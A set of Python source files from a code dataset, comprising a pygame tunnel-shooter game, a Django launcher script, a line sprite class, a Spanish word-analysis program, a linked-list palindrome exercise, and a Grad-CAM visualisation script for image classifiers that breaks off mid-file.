self.rot_speed) % 360\n new_image = pygame.transform.rotate(self.image_orig, self.rot)\n old_center = self.rect.center\n self.image = new_image\n self.rect = self.image.get_rect()\n self.rect.center = old_center\n\n def update(self):\n self.rotate()\n self.rect.x -= self.speedx\n if self.rect.right < 0:\n self.rect.x = 1300\n self.rect.y = random.randrange(60, 640)\n self.speedx = random.randrange(6, 10)\n\nclass Bullet(pygame.sprite.Sprite):\n def __init__(self, x, y):\n pygame.sprite.Sprite.__init__(self)\n self.image = pygame.Surface((10, 5))\n self.image.fill(RED)\n self.rect = self.image.get_rect()\n self.rect.bottom = y\n self.rect.centerx = x\n self.speedx = -4\n\n def update(self):\n self.rect.x -= self.speedx\n # Kill the bullet when off the screen\n if self.rect.centerx < -10:\n self.kill()\n #if self.rect.centerx > 500:\n # self.kill()\n\nclass Pow(pygame.sprite.Sprite):\n def __init__(self):\n pygame.sprite.Sprite.__init__(self)\n self.type = random.choice(['shield', 'gun', 'pill'])\n self.image = powerup_images[self.type]\n self.rect = self.image.get_rect()\n self.rect.x = random.randrange(1300, 1800)\n self.rect.y = HEIGHT / 2\n self.speedx = random.randrange(6, 10)\n\n def update(self):\n self.rect.x -= self.speedx\n if self.rect.right < 0:\n self.rect.x = 1300\n self.rect.y = HEIGHT / 2\n self.speedx = random.randrange(6, 10)\n\nclass Explosion(pygame.sprite.Sprite):\n def __init__(self, center, size):\n pygame.sprite.Sprite.__init__(self)\n self.size = size\n self.image = explosion_anim[self.size][0]\n self.rect = self.image.get_rect()\n self.rect.center = center\n self.frame = 0\n self.last_update = pygame.time.get_ticks()\n self.frame_rate = 75\n\n def update(self):\n now = pygame.time.get_ticks()\n if now - self.last_update > self.frame_rate:\n self.last_update = now\n self.frame += 1\n if self.frame == len(explosion_anim[self.size]):\n self.kill()\n else:\n center = self.rect.center\n self.image = explosion_anim[self.size][self.frame]\n self.rect = self.image.get_rect()\n self.rect.center = center\n\n# Load all game graphics\nscreen = pygame.display.set_mode((WIDTH, HEIGHT), pygame.FULLSCREEN)\nheart = pygame.image.load(path.join(img_dir, \"heart_2.gif\")).convert()\nlive = pygame.transform.scale(heart, (30, 30))\nmeteor_images = []\nmeteor_list = ['small1.png', 'small2.png', 'small3.png', 'small4.png', 'small5.png', 'small6.png',\n 'medium1.png', 'medium2.png', 'medium3.png', 'medium4.png', 'medium5.png', 'medium5.png']\nfor img in meteor_list:\n meteor_images.append(pygame.image.load(path.join(img_dir, img)).convert_alpha())\n\n# Directory explosion images\nexplosion_anim = {}\nexplosion_anim['lg'] = []\nexplosion_anim['sm'] = []\nexplosion_anim['player'] = []\nfor i in range (9):\n filename = 'regularExplosion0{}.png'.format(i)\n img = pygame.image.load(path.join(img_dir, filename)).convert_alpha()\n img_lg = pygame.transform.scale(img, (75, 75))\n explosion_anim['lg'].append(img_lg)\n img_sm = pygame.transform.scale(img, (32, 32))\n explosion_anim['sm'].append(img_sm)\n filename = 'sonicExplosion0{}.png'.format(i)\n img = pygame.image.load(path.join(img_dir, filename)).convert_alpha()\n explosion_anim['player'].append(img)\n\n# Directory power up images\npowerup_images = {}\npowerup_images['shield'] = pygame.image.load(path.join(img_dir, 'shield_silver.png')).convert_alpha()\npowerup_images['gun'] = pygame.image.load(path.join(img_dir, 'bold_silver.png')).convert_alpha()\npowerup_images['pill'] = pygame.image.load(path.join(img_dir, 'pill_yellow.png')).convert_alpha()\n\n# Load all game sounds\nshoot_sound = pygame.mixer.Sound(path.join(snd_dir, 'laser1.wav'))\nshoot_sound.set_volume(0.2)\nexpl_sound = pygame.mixer.Sound(path.join(snd_dir, 'explosion.wav'))\nexpl_sound.set_volume(0.2)\nplayer_die_sound = pygame.mixer.Sound(path.join(snd_dir, 'rumble1.ogg'))\nplayer_die_sound.set_volume(0.2)\npygame.mixer.music.load(path.join(snd_dir, 'space.ogg'))\npygame.mixer.music.set_volume(0.35)\n\npygame.display.set_caption(\"Space Escape\")\nclock = pygame.time.Clock()\n\nbackground = pygame.image.load(\"SE/starfield.jpg\").convert()\n\ntunnels = pygame.sprite.Group()\nall_sprites = pygame.sprite.Group()\n\n# Game loop\n\ndef Escape_Game(ext_screen, story):\n print(story)\n global all_sprites, mobs, bullets, tunnel_gat, screen, powerups\n\n screen = ext_screen\n newscore = 0\n running = True\n game_over = True\n pygame.mixer.music.play(loops=-1)\n\n x = 0\n tunnel_gat = 400\n tunnel_half = (HEIGHT / 2) - (tunnel_gat / 2)\n tunnel_i = 0\n tunnel_hoogte = 200\n\n diff_1 = False\n diff_2 = False\n diff_3 = False\n\n while running:\n if game_over:\n show_go_screen()\n mobs = pygame.sprite.Group()\n bullets = pygame.sprite.Group()\n powerups = pygame.sprite.Group()\n player = Player()\n all_sprites.add(player)\n game_over = False\n\n score = 0\n for i in range(10):\n newmob()\n\n # Keep loop running at the right speed\n clock.tick(FPS)\n # Process input (events)\n for event in pygame.event.get():\n # Check for closing window\n if pygame.key.get_pressed()[pygame.K_ESCAPE] or pygame.key.get_pressed()[pygame.K_q]:\n all_sprites.empty()\n mobs.empty()\n bullets.empty()\n powerups.empty()\n running = False\n tunnel_gat = 400\n tunnel_half = (HEIGHT / 2) - (tunnel_gat / 2)\n if running == False:\n pygame.mixer.music.fadeout(1000)\n\n # Keep Creating Tunnels\n for tunnel in tunnels: # Tunnels weghalen als ze van scherm af gaan\n if tunnel.rect.x <= -10:\n tunnel.kill()\n\n while len(tunnels) < (128 * 2) + 25:\n print(tunnel_half)\n while tunnel_hoogte > tunnel_half:\n tunnel_hoogte += -10\n print('1')\n while tunnel_hoogte <= 0:\n tunnel_hoogte += 10\n print('2')\n\n tunnel_hoogte += random.randrange(-5, 8)\n\n # Boven Helft Tunnel\n t = Tunnel(WIDTH + 10, 0, tunnel_hoogte)\n tunnels.add(t)\n # Onder Helft Tunnel\n t = Tunnel(WIDTH + 10, HEIGHT - tunnel_hoogte, tunnel_hoogte)\n tunnels.add(t)\n\n if x < 100:\n score += 0.25\n\n if score > newscore + 400:\n newpowerup()\n newscore = score\n\n if score > 1000 and not diff_1:\n print(\"Updated\")\n tunnel_gat = 300\n tunnel_half = (HEIGHT / 2) - (tunnel_gat / 2)\n diff_1 = True\n\n if score > 2000 and not diff_2:\n print(\"Updated\")\n tunnel_gat = 200\n tunnel_half = (HEIGHT / 2) - (tunnel_gat / 2)\n diff_2 = True\n\n if score > 3000 and not diff_3:\n print(\"Updated\")\n tunnel_gat = 150\n tunnel_half = (HEIGHT / 2) - (tunnel_gat / 2)\n diff_3 = True\n\n if score > 3000 and story == True:\n running = False\n\n #if score > 4000 and not diff_2:\n # print(\"Updated\")\n # tunnel_gat = 200\n # tunnel_half = (HEIGHT / 2) - (tunnel_gat / 2)\n # diff_2 = True\n\n # Update\n all_sprites.update()\n tunnels.update()\n\n # Check to see if a bullet hit mob\n hits = pygame.sprite.groupcollide(mobs, bullets, True, True)\n for hit in hits:\n score += 50 - hit.radius\n expl_sound.play()\n expl = Explosion(hit.rect.center, 'lg')\n all_sprites.add(expl)\n newmob()\n\n # Check to see if the player hits the wall\n hits = pygame.sprite.spritecollide(player, tunnels, False, pygame.sprite.collide_circle)\n for hit in hits:\n player.shield -= 10\n expl = Explosion(hit.rect.center, 'sm')\n all_sprites.add(expl)\n if player.shield <= 0:\n player_die_sound.play()\n death_explosion = Explosion(player.rect.center, 'player')\n all_sprites.add(death_explosion)\n player.hide()\n player.lives -= 1\n player.shield = 100\n\n # Check to see if a mob hits the wall\n hits = pygame.sprite.groupcollide(mobs, tunnels, True, False)\n for hit in hits:\n newmob()\n\n # Check to see if a power up hits the wall\n hits = pygame.sprite.groupcollide(powerups, tunnels, True, False)\n for hit in hits:\n newpowerup()\n\n # Check to see if the player hit a powerup\n hits = pygame.sprite.spritecollide(player, powerups, True, pygame.sprite.collide_mask)\n for hit in hits:\n if hit.type == 'shield':\n player.shield += random.randrange(10, 50)\n if player.shield >= 100:\n player.shield = 100\n if hit.type == 'gun':\n player.powerup()\n if hit.type == 'pill':\n player.shield += random.randrange(10, 50)\n if player.shield >= 100:\n player.shield = 100\n player.powerup()\n\n # Check to see if a mob hit the player\n hits = pygame.sprite.spritecollide(player, mobs, True, pygame.sprite.collide_circle)\n for hit in hits:\n player.shield -= hit.radius * 0.5\n expl = Explosion(hit.rect.center, 'sm')\n all_sprites.add(expl)\n newmob()\n if player.shield <= 0:\n player_die_sound.play()\n death_explosion = Explosion(player.rect.center, 'player')\n all_sprites.add(death_explosion)\n player.hide()\n player.lives -= 1\n player.shield = 100\n\n # If the player died and the explosion has finished playing\n if player.lives <= 0 and not death_explosion.alive():\n game_over = True\n tunnels.empty()\n all_sprites.empty()\n diff_1 = False\n diff_2 = False\n diff_3 = False\n tunnel_gat = 400\n tunnel_half = (HEIGHT / 2) - (tunnel_gat / 2)\n\n # Draw / Render\n rel_x = x % background.get_rect().width\n\n screen.blit(background, (rel_x - background.get_rect().width, 0))\n if rel_x < WIDTH:\n screen.blit(background, (rel_x, 0))\n x -= 2\n\n all_sprites.draw(screen)\n tunnels.draw(screen)\n\n draw_text(screen, str(int(score)), 30, WIDTH / 2, 10)\n draw_shield_bar(screen, 5, 5, player.shield)\n draw_lives(screen, WIDTH - 100, 5, player.lives, live)\n # After drawing everything, flip the display\n pygame.display.flip()","sub_path":"SE/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":18639,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"228934404","text":"import sys\nimport os.path\n\ndjango_starter = 'python manage.py '\n\ndef install_django_2():\n answer = input(\"Do you want to install Django 2 to run this code [n/y]? \")\n if(answer.lower() == 'y'):\n print('Installing Django 2.')\n import pip\n pip.main(['install', 'django==2.0'])\n\ndef first_call():\n return not os.path.isfile('no_migration')\n\ndef generate_migrations():\n os.system(django_starter + \"makemigrations\")\n os.system(django_starter + \"migrate\")\n\n file = open('no_migration', 'w')\n file.close()\n\nif __name__ == \"__main__\":\n\n if(sys.version_info[0] < 3):\n print(\"Sorry! This project requires at least Python 3.\")\n else:\n try:\n import django\n if django.VERSION[0] > 2:\n install_django_2()\n except ImportError:\n install_django_2()\n\n print(\"Initializing Django:\")\n\n if first_call():\n generate_migrations()\n\n if len(sys.argv) > 1 and sys.argv[1] == 'test':\n os.system(django_starter + \"test\")\n else:\n os.system(django_starter + \"runserver --noreload\")","sub_path":"paranuaraChallenge/start.py","file_name":"start.py","file_ext":"py","file_size_in_byte":1127,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"626980483","text":"import pygame\n\nclass Line(pygame.sprite.Sprite):\n '''Class for a line.\n Inherits from a sprite so it can be easily added to sprite groups.'''\n def __init__(self, surface=None, color=(255,255,255), posOne=(0,0), posTwo=(0,0), width=1, transparent=True, *groups):\n super().__init__(groups)\n self.color = color\n self.posOne = posOne\n self.posTwo = posTwo\n self.width = width\n self.rect= None\n self.image = None\n self.surface = surface\n self.transparent = transparent\n\n self.update()\n\n def draw(self, surface):\n self.rect = pygame.draw.line(self.surface, self.color, self.posOne, self.posTwo, self.width)\n self.image = pygame.Surface((self.rect.w, self.rect.h))\n if self.transparent:\n self.image.set_colorkey((0,0,0))\n self.surface.blit(self.image, self.rect)\n\n def update(self):\n self.rect = pygame.draw.line(self.surface, self.color, self.posOne, self.posTwo, self.width)\n self.image = pygame.Surface((self.rect.w, self.rect.h))\n if self.transparent:\n self.image.set_colorkey((0,0,0))\n","sub_path":"lightning/line.py","file_name":"line.py","file_ext":"py","file_size_in_byte":1142,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"358082622","text":"# Información del programa\n# Nombre del programa: Descubre tu palabra\n# Autor: Hernán Araya\n# Descripción: El programa muestra información sobre la palabra ingresada, así como\n# el número de letras, el número de consonantes y vocales, las letras que se repiten y su cantidad\n\n# Declaración del diccionarrio para el alfabeto\ndict_alfabeto = {'a': 1, 'b': 1, 'c': 1, 'd': 1, 'e': 1, 'f': 1, 'g': 1, 'h': 1, 'i': 1, 'j': 1,\n 'k': 1, 'l': 1, 'm': 1, 'ñ': 1, 'n': 1, 'o': 1, 'p': 1, 'q': 1, 'r': 1, 's': 1,\n 't': 1, 'u': 1, 'v': 1, 'w': 1, 'x': 1, 'y': 1, 'z': 1}\n\n# Declaración de variables para manipular los datos\nvocales = 0\nconsonantes = 0\nletras_repetidas = 0\ndict_letras_repetidas = {}\nlista_palabras_ingresadas = []\nletra_encontrada = 0\n\n# Menu del programa\nwhile True:\n print(\"\"\"\n Bienvenido a \\u001b[32;1m'Descubre tu palabra'\\u001b[0m\n 1.Iniciar programa \n 2.Salir\"\"\")\n opcion = int(input(\"Escoja una opcion: \"))\n\n if opcion == 1:\n # Solicitud de la palabra\n palabra = str(input(\"Escriba una palabra: \"))\n\n # Ciclo para evaluar si la palabra tiene caracteres diferentes a las letras\n while not palabra.isalpha():\n print(\"\\u001b[31;1mEl dato ingresado es incorrecto, intentelo de nuevo\\u001b[0m\")\n palabra = str(input(\"Escriba una palabra nuevamente: \"))\n\n if palabra.isalpha():\n # Ciclo para la cantidad de consonantes y vocales\n for i in palabra.lower():\n if (i == 'a') or (i == 'e') or (i == 'i') or (i == 'o') or (i == 'u'):\n vocales += 1\n else:\n consonantes += 1\n\n # Función para conocer la cantidad de letras que tiene la palabra ingresada\n numero_letras = len(palabra)\n\n # Ciclo para saber la cantidad de veces que se repite una letra\n for clave, valor in dict_alfabeto.items():\n for i in palabra:\n if i == clave:\n letras_repetidas += valor\n\n dict_letras_repetidas[clave] = letras_repetidas\n\n letras_repetidas = 0\n\n# ---------------------------------------------------------------------------------------------------------\n # Información sobre la palabra ingresada\n print(f\"\\nSu palabra es: \\u001b[36;1m{palabra} \\u001b[0m\")\n print(f\"Su palabra tiene {numero_letras} letras, {consonantes} consonantes y {vocales} vocales\")\n\n # Ciclo que muestra la cantidad de veces que se repite una letra\n for k, v in dict_letras_repetidas.items():\n if v != 0:\n if v == 1:\n print(f\"La letra: {k} se repite: {v} vez\")\n if v > 1:\n print(f\"La letra: {k} se repite: {v} veces\")\n\n# -------------------------------------------------------------------------------------------------------\n # Buscar la posición en que se encuentra una letra ingresada\n print(\"\\n\\u001b[34;1mConozca la posición en que se encuentra una letra de la palabra ingresada\\u001b[0m\")\n letra = str(input('Ingrese una letra para conocer en que posición se encuentra: '))\n\n # Ciclo para validar el ingreso de letras\n while letra not in palabra:\n print(\"\\u001b[31;1mEl dato ingresado no pertenece a la palabra ingresada intentelo de nuevo\\u001b[0m\")\n letra = str(input(\"Escriba una letra nuevamente: \"))\n\n if letra in palabra:\n # print(\"la letra SI EXISTE EN LA CADENA\")\n print(f\"Palabra es: \\u001b[31;1m {palabra} \\u001b[0m y la letra ingresada \"\n f\"es: \\u001b[31;1m {letra}\\u001b[0m\\n\")\n\n # Ciclo para conocer en que posición se encuentra una letra de la palabra ingresada\n for i in range(len(palabra)):\n if letra == palabra[i]:\n print(f\"La letra \\u001b[31;1m {letra} \\u001b[0m se encuentra en la posicion: {i+1}\")\n\n # Limpieza de variables\n vocales = 0\n consonantes = 0\n elif opcion == 2:\n print(\"Saliendo del programa...\")\n break\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4248,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"237170870","text":"\"\"\"\nGiven a singly linked list, determine if it is a palindrome.\n\nExample 1:\n\nInput: 1->2\nOutput: false\nExample 2:\n\nInput: 1->2->2->1\nOutput: true\nFollow up:\nCould you do it in O(n) time and O(1) space\n\"\"\"\nclass ListNode:\n def __init__(self, x):\n self.val = x\n self.next = None\n\ndef is_palindrome(head):\n \"\"\"Runtime: 76 ms, faster than 78.65% of Python3 online submissions for Palindrome Linked List.\n\"\"\"\n start1 = head\n runner1 = head\n runner2 = head\n while runner2 and runner2.next:\n runner1 = runner1.next\n runner2 = runner2.next.next\n\n start2 = runner1.next if runner2 and runner2.next is None else runner1\n\n arr1, arr2 = [], []\n while start2:\n arr1.append(start1.val)\n arr2.append(start2.val)\n start1 = start1.next\n start2 = start2.next\n\n return arr1 == arr2[::-1]\n\nhead = ListNode(1)\nhead.next = ListNode(0)\nhead.next.next = ListNode(1)\nprint(is_palindrome(head))","sub_path":"9_training/LL_palindrome.py","file_name":"LL_palindrome.py","file_ext":"py","file_size_in_byte":955,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"499702636","text":"import torch\nfrom torch.autograd import Variable\nfrom torch.autograd import Function\nfrom torchvision import models\nfrom torchvision import utils\nimport cv2\nimport os\nimport numpy as np\nimport argparse\nimport torch.nn.functional as F\nfrom OXFORD_IIIT.src.densenet_DIY import densenet_DIY_40,densenet_DIY_64,densenet_DIY_CliqueNet_s3,densenet_DIY_100\nfrom OXFORD_IIIT.src.build_model import CNNModel\nimport OXFORD_IIIT.cliqueNet_pytorch.cliquenet as cliquenet\nfrom OXFORD_IIIT.grad_cam.grad_cam_cliquenet import model_checkpoint_targetLayerName as clique_model_checkpoint_targetLayerName\nfrom OXFORD_IIIT.grad_cam.grad_cam_densenet40 import model_checkpoint_targetLayerName as densenet40_model_checkpoint_targetLayerName\n\ndef get_args():\n\n\tparser = argparse.ArgumentParser()\n\tparser.add_argument('--use-cuda', action='store_true', default=True, help='Use NVIDIA GPU acceleration')\n\tparser.add_argument('--image-path', type=str, default='./database/examples/Birman_3.jpg', help='Input image path')\n\n\targs = parser.parse_args()\n\n\targs.use_cuda = args.use_cuda and torch.cuda.is_available()\n\tif args.use_cuda:\n\t\tprint(\"Using GPU for acceleration\")\n\telse:\n\t\tprint(\"Using CPU for computation\")\n\n\treturn args\n\ndef preprocess_image(img):\n\t'''\n\n\t:param img: : (224, 224, 3)\n\t:return:\n\t'''\n\tmeans=[0.485, 0.456, 0.406]\n\tstds=[0.229, 0.224, 0.225]\n\n\tpreprocessed_img = img.copy()[: , :, ::-1] # preprocessed_img : (224, 224, 3)\n\tfor i in range(3):\n\t\tpreprocessed_img[:, :, i] = preprocessed_img[:, :, i] - means[i]\n\t\tpreprocessed_img[:, :, i] = preprocessed_img[:, :, i] / stds[i]\n\tpreprocessed_img = np.ascontiguousarray(\n\t\tnp.transpose(preprocessed_img, (2, 0, 1))) # : (3, 224, 224)\n\tpreprocessed_img = torch.from_numpy(preprocessed_img) # torch.Size([3, 224, 224])\n\tpreprocessed_img.unsqueeze_(0) # torch.Size([1, 3, 224, 224])\n\tinput = Variable(preprocessed_img, requires_grad = True) # torch.Size([1, 3, 224, 224])\n\treturn input\n\ndef show_origin_image(img_path):\n\tfrom PIL import Image\n\timg_name = os.path.split(img_path)[-1].split('.')[0]\n\tviz.image(torch.from_numpy(np.asarray(\n\t\tImage.open(img_path).resize((255, 255), Image.ANTIALIAS))).permute(2, 0, 1),\n\t\t\t opts=dict(title=img_name))\n\ndef show_cam_on_image(img_path, mask, model_name, suffix='.png'):\n\timg = cv2.imread(img_path)\n\theight, width, _ = img.shape\n\t# heatmap = cv2.applyColorMap(np.uint8(255*mask), cv2.COLORMAP_JET) # 还原至原图大小,并上色\n\theatmap = cv2.applyColorMap(cv2.resize(np.uint8(255*mask), (width, height)), cv2.COLORMAP_JET) # 还原至原图大小,并上色\n\n\t# heatmap = np.float32(heatmap) / 255\n\tcam = heatmap + np.float32(img)\n\tcam = cam / np.max(cam)\n\t# saved_filepath = os.path.join(img_path.split('.')[0] + suffix)\n\t# cv2.imwrite(saved_filepath, np.uint8(255 * cam))\n\n\t# from PIL import Image\n\t# img_name = os.path.split(img_path)[-1].split('.')[0]\n\t# viz.image(torch.from_numpy(np.asarray(Image.open(img_path).resize((255, 255), Image.ANTIALIAS))).permute(2, 0, 1),opts=dict(title=img_name))\n\tnp_num = np.uint8(255 * cam)\n\ttorch_num = torch.from_numpy(np.uint8(255 * cam))\n\tviz.image(torch.from_numpy(cv2.resize(np.uint8(255 * cam), (255, 255))).permute(2, 0, 1),opts=dict(title=model_name))\n\t# viz.image(torch.from_numpy(cv2.resize(np.uint8(255 * cam), (255, 255))).permute(2, 1, 0),opts=dict(title=model_name))\n\nclass FeatureExtractor():\n\t'''\n\tClass for extracting activations and registering gradients from targetted intermediate layers\n\t'''\n\n\tdef __init__(self, model, target_layers):\n\t\tself.model = model\n\t\tself.target_layers = target_layers\n\t\tself.gradients = []\n\n\tdef save_gradient(self, grad): # grad\n\t\tself.gradients.append(grad)\n\n\tdef __call__(self, x):\n\t\toutputs = []\n\t\tself.gradients = []\n\t\tfor name, module in self.model._modules.items():\n\t\t\tx = module(x) #　x 每经过一次moudle()　x.shape都会发生变化　例如, torch.Size([1, 3, 224, 224]) → torch.Size([1, 64, 224, 224])\n\t\t\tif name in self.target_layers: # match the targetted intermediate layers\n\t\t\t\tx.register_hook(self.save_gradient) # registering gradients from targetted intermediate layers\n\t\t\t\toutputs += [x]\n\t\treturn outputs, x # x -- 'last_feature' # outputs -- 'match_features'\n\nclass ModelOutputs():\n\t'''\n\tClass for making a forward pass, and getting: (return)\n\t1. The network output. # output\n\t2. Activations from intermeddiate targetted layers. # target_activations\n\t3. Gradients from intermeddiate targetted layers. # self.feature_extractor.gradients\n\t'''\n\n\tdef __init__(self, model, target_layers):\n\t\tself.model = model\n\t\tself.feature_extractor = FeatureExtractor(self.model.features, target_layers) # __init__\n\n\tdef get_gradients(self):\n\t\treturn self.feature_extractor.gradients\n\n\tdef __call__(self, x):\n\t\ttarget_activations, output = self.feature_extractor(x) # x: feature # output -- last_feature torch.Size([1, 512, 7, 7]) / torch.Size([1, 2208, 7, 7])\n\t\tif 'DenseNet' in str(type(self.model)):\n\t\t\toutput = F.relu(output, inplace=True)\n\t\t\toutput = F.adaptive_avg_pool2d(output, (1, 1)).view(output.size(0), -1)\n\t\telse:\n\t\t\toutput = output.view(output.size(0), -1) # torch.Size([1, 25088])\n\t\toutput = self.model.classifier(output) # torch.Size([1, 1000])\n\n\t\treturn target_activations, output # target_activations {list} target_activations[0] torch.Size([1, 512, 14, 14]) # output torch.Size([1, 1000])\n\nclass GradCam():\n\tdef __init__(self, model, target_layer_names, use_cuda):\n\t\tself.model = model\n\t\tself.model.eval()\n\t\tself.cuda = use_cuda\n\t\tif self.cuda:\n\t\t\tself.model = model.cuda()\n\n\t\tself.extractor = ModelOutputs(self.model, target_layer_names) # __init__\n\n\tdef forward(self, input):\n\t\treturn self.model(input)\n\n\tdef __call__(self, input, index = None):\n\n\t\t'''\n\n\t\t:param input:\n\t\t:param index: # If None, returns the map for the highest scoring category.\n\t\t\t\t\t# Otherwise, targets the requested index.\n\t\t:return:\n\t\t'''\n\n\t\tif self.cuda:\n\t\t\t# features -- Activations from intermeddiate targetted layers.(target_activations) Ex. target_activations[0] torch.Size([1, 512, 14, 14])\n\t\t\t# output -- The network output. (last feature) Ex. torch.Size([1, 1000])\n\t\t\tfeatures, output = self.extractor(input.cuda()) # __call__\n\t\telse:\n\t\t\tfeatures, output = self.extractor(input)\n\n\t\tif index == None:\n\t\t\tindex = np.argmax(output.cpu().data.numpy())\n\n\t\tone_hot = np.zeros((1, output.size()[-1]), dtype = np.float32) # : (1, 1000)\n\t\tone_hot[0][index] = 1 # '激活' 最匹配的unit_index\n\t\tone_hot = Variable(torch.from_numpy(one_hot), requires_grad = True)\n\t\tif self.cuda:\n\t\t\tone_hot = torch.sum(one_hot.cuda() * output)\n\t\telse:\n\t\t\tone_hot = torch.sum(one_hot * output)\n\n\t\tself.model.features.zero_grad() # zero_grad ...\n\t\tself.model.classifier.zero_grad()\n\t\tone_hot.backward(retain_graph=True) #....\n\n\t\tgrads_val = self.extractor.get_gradients()[-1].cpu().data.numpy() # grads_val : (1, 512, 14, 14) # gradients torch.Size([1, 512, 14, 14])\n\n\t\ttarget = features[-1] # target torch.Size([1, 512, 14, 14]) # features[0] torch.Size([1, 512, 14, 14]) # last_conv\n\t\ttarget = target.cpu().data.numpy()[0, :] # : (512, 14, 14)\n\n\t\tweights = np.mean(grads_val, axis = (2, 3))[0, :] # : (512,) ＃ 基于梯度获取权重!!!\n\t\tcam = np.zeros(target.shape[1 : ], dtype = np.float32) # : (14, 14)\n\n\t\tfor i, w in enumerate(weights):\n\t\t\tcam += w * target[i, :, :] # target : (512, 14, 14) # 加权和的方式得到激活图\n\n\t\tcam = np.maximum(cam, 0)\n\t\tcam = cv2.resize(cam, (224, 224))\n\t\tcam = cam - np.min(cam)\n\t\tcam = cam / np.max(cam) # 归一化\n\t\treturn cam\n\nclass GuidedBackpropReLU(Function):\n\n\tdef forward(self, input):\n\t\tpositive_mask = (input > 0).type_as(input)\n\t\toutput = torch.addcmul(torch.zeros(input.size()).type_as(input), input, positive_mask)\n\t\tself.save_for_backward(input, output)\n\t\treturn output\n\n\tdef backward(self, grad_output):\n\t\tinput, output = self.saved_tensors\n\t\tgrad_input = None\n\n\t\tpositive_mask_1 = (input > 0).type_as(grad_output)\n\t\tpositive_mask_2 = (grad_output > 0).type_as(grad_output)\n\t\tgrad_input = torch.addcmul(torch.zeros(input.size()).type_as(input), torch.addcmul(torch.zeros(input.size()).type_as(input), grad_output, positive_mask_1), positive_mask_2)\n\n\t\treturn grad_input\n\nclass GuidedBackpropReLUModel:\n\tdef __init__(self, model, use_cuda):\n\t\tself.model = model\n\t\tself.model.eval()\n\t\tself.cuda = use_cuda\n\t\tif self.cuda:\n\t\t\tself.model = model.cuda()\n\n\t\t# # replace ReLU with GuidedBackpropReLU\n\t\t# for idx, module in self.model.features._modules.items():\n\t\t# \tif module.__class__.__name__ == 'ReLU':\n\t\t# \t\tself.model.features._modules[idx] = GuidedBackpropReLU()\n\n\tdef forward(self, input):\n\t\treturn self.model(input)\n\n\tdef __call__(self, input, index = None):\n\t\tif self.cuda:\n\t\t\toutput = self.forward(input.cuda())\n\t\telse:\n\t\t\toutput = self.forward(input)\n\n\t\tif index == None:\n\t\t\tindex = np.argmax(output.cpu().data.numpy())\n\n\t\tone_hot = np.zeros((1, output.size()[-1]), dtype = np.float32)\n\t\tone_hot[0][index] = 1\n\t\tone_hot = Variable(torch.from_numpy(one_hot), requires_grad = True)\n\t\tif self.cuda:\n\t\t\tone_hot = torch.sum(one_hot.cuda() * output)\n\t\telse:\n\t\t\tone_hot = torch.sum(one_hot * output)\n\n\t\t# self.model.features.zero_grad()\n\t\t# self.model.classifier.zero_grad()\n\t\tone_hot.backward(retain_graph=True)\n\t\t# output.backward(gradient=one_hot)\n\n\t\toutput = input.grad.cpu().data.numpy() #: (1, 3, 224, 224)\n\t\toutput = output[0,:,:,:]\n\n\t\treturn output\n\n\ndef model_checkpoint_targetLayerName(model, checkpoint_dirpath, target_layer_names):\n\t# load the pre-saved model\n\ttry:\n\t\tlast_saved_model = sorted(os.listdir(checkpoint_dirpath))[-1]\n\t\tload_model_path = checkpoint_dirpath + last_saved_model\n\t\tif 'pkl' in last_saved_model:\n\t\t\tmodel.load_state_dict(torch.load(load_model_path))\n\t\t\tprint('load the saved %s successfully ~' % load_model_path)\n\texcept Exception as e:\n\t\tprint(e)\n\t\tpass\n\n\tmodel.eval()\n\t# print(model)\n\n\tgrad_cam = GradCam(model, target_layer_names, use_cuda=args.use_cuda)\n\n\treturn grad_cam\n\nif __name__ == '__main__':\n\n\t\"\"\" \n\tpython grad_cam.py \n\t1. Loads an image with opencv.\n\t2. Preprocesses it for VGG19 and converts to a pytorch variable.\n\t3. Makes a forward pass to find the category index with the highest score,\n\tand computes intermediate activations.\n\tMakes the visualization. \n\t\"\"\"\n\n\targs = get_args()\n\n\t# Single_CNN\n\tmodel = CNNModel()\n\tcheckpoint_dirpath = 'Results/model/cnn/batchsize_256/'\n\ttarget_layer_names = [\"31\"] # relu层效果更好\n\tgrad_cam_Single_CNN = model_checkpoint_targetLayerName(model,checkpoint_dirpath,target_layer_names)\n\n\t# DenseNet-40\n\tmodel = densenet_DIY_40()\n\tcheckpoint_dirpath = 'Results/model/DenseNet/densenet_DIY/depth_40_k_48/'\n\ttarget_layer_names = [\"norm5\"]\n\tgrad_cam_Densenet_40 = densenet40_model_checkpoint_targetLayerName(model,checkpoint_dirpath,target_layer_names)\n\n\t# DenseNet-100\n\tmodel = densenet_DIY_100()\n\tcheckpoint_dirpath = 'Results/model/DenseNet/densenet_DIY/depth_100_k_32/'\n\ttarget_layer_names = [\"norm5\"]\n\tgrad_cam_Densenet_100 = model_checkpoint_targetLayerName(model, checkpoint_dirpath, target_layer_names)\n\n\t# CliqueNet_S3\n\tmodel = cliquenet.build_cliquenet(input_channels=64, list_channels=[40, 80, 160, 160], list_layer_num=[6, 6, 6, 6], if_att= True) # block_num = 4 # S3\n\t# model = cliquenet.build_cliquenet(input_channels=64, list_channels=[36, 64, 100, 80], list_layer_num=[5, 6, 6, 6], if_att= True) # block_num = 4 # S0\n\tcheckpoint_dirpath = 'Results/model/build_cliquenet/s3_new/'\n\ttarget_layer_names = [\"fc\"]\n\tgrad_cam_CliqueNet_s3 = clique_model_checkpoint_targetLayerName(model, checkpoint_dirpath, target_layer_names)\n\n\t# Densenet161\n\tmodel = models.densenet161(pretrained=True)\n\tnum_ftrs = model.classifier.in_features\n\tmodel.classifier = torch.nn.Linear(num_ftrs, 37)\n\tcheckpoint_dirpath = 'Results/model/DenseNet/densenet161/'\n\ttarget_layer_names = [\"norm5\"]\n\tgrad_cam_Densenet_161 = model_checkpoint_targetLayerName(model,checkpoint_dirpath,target_layer_names)\n\n\n\tgrad_cams = {'Single_CNN': grad_cam_Single_CNN, 'densenet-40': grad_cam_Densenet_40,\n\t\t\t\t 